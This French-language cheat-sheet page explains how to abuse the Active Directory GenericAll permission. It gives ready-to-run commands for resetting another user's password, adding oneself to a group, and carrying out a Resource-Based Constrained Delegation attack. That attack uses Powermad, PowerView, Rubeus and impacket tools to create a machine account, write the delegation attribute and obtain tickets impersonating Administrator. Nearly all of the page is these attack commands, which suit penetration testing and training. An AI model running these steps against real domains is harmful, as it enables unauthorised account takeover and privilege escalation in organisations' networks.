Aller au contenu

GenericAll

Le droit GenericAll permet un contrôle total sur l'objet cible. Il peut être appliqué à des utilisateurs, des groupes ou des machines. Voici comment exploiter ce droit dans différents contextes :

📝GenericAll sur un Utilisateur

Si un utilisateur a le droit GenericAll sur un autre utilisateur, il est possible de réinitialiser le mot de passe de l'utilisateur cible.

🍔 Depuis Windows

Utilisez la commande suivante pour réinitialiser le mot de passe d'un utilisateur depuis un environnement Windows :

net user $userCible $nouveauPassword /domain

🐧 Depuis Linux

Depuis un environnement Linux, vous pouvez utiliser la commande suivante :

net rpc user password $userCible $nouveauPass -U domain.local/$noreUser -S $dc

Mettre un mot de passe en adéquation avec la politique de mot de passe du domaine, sinon celui-ci ne sera pas attribué et rien ne nous l'indique.


📝 GenericAll sur un Groupe

Si un utilisateur a le droit GenericAll sur un groupe, il peut s'ajouter en tant que membre de ce groupe.

🍔 Depuis Windows

Utilisez les commandes suivantes pour ajouter un utilisateur à un groupe depuis un environnement Windows :

1
2
3
net group "$groupeCible" $userCible /add /domain #cmd
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powershell
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powersploit

📝 GenericAll sur une Machine

Le droit GenericAll sur une machine permet d'abuser de la Resource-Based Constrained Delegation (RBCD).

🍔 Depuis Windows

Pour exploiter ce droit, nous avons besoin des scripts powermad.ps1 et powerview.

Création d'un compte machine :

import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -Verbose

Vérification de la création du compte :

Get-DomainComputer

Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :

1
2
3
4
5
6
7
8
9
$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Récupération du hash du compte machine créé :

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :

rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible

🐧 Depuis Linux

Création d'un compte machine :

impacket-addcomputer -computer-name 'COMPUTER$' -computer-pass '$password' -dc-host $dc -domain-netbios $DOMAIN 'domain.local\$user:$password'

Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :

impacket-rbcd -delegate-from 'paked$' -delegate-to 'cible$' -dc-ip '$dc$' -action 'write' 'domain.local'/'$utilisateur':'$Password'

Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :

impacket-getST -spn 'cifs/$cible' -impersonate Administrator -dc-ip '$dc' 'domain.local/paked$:$password'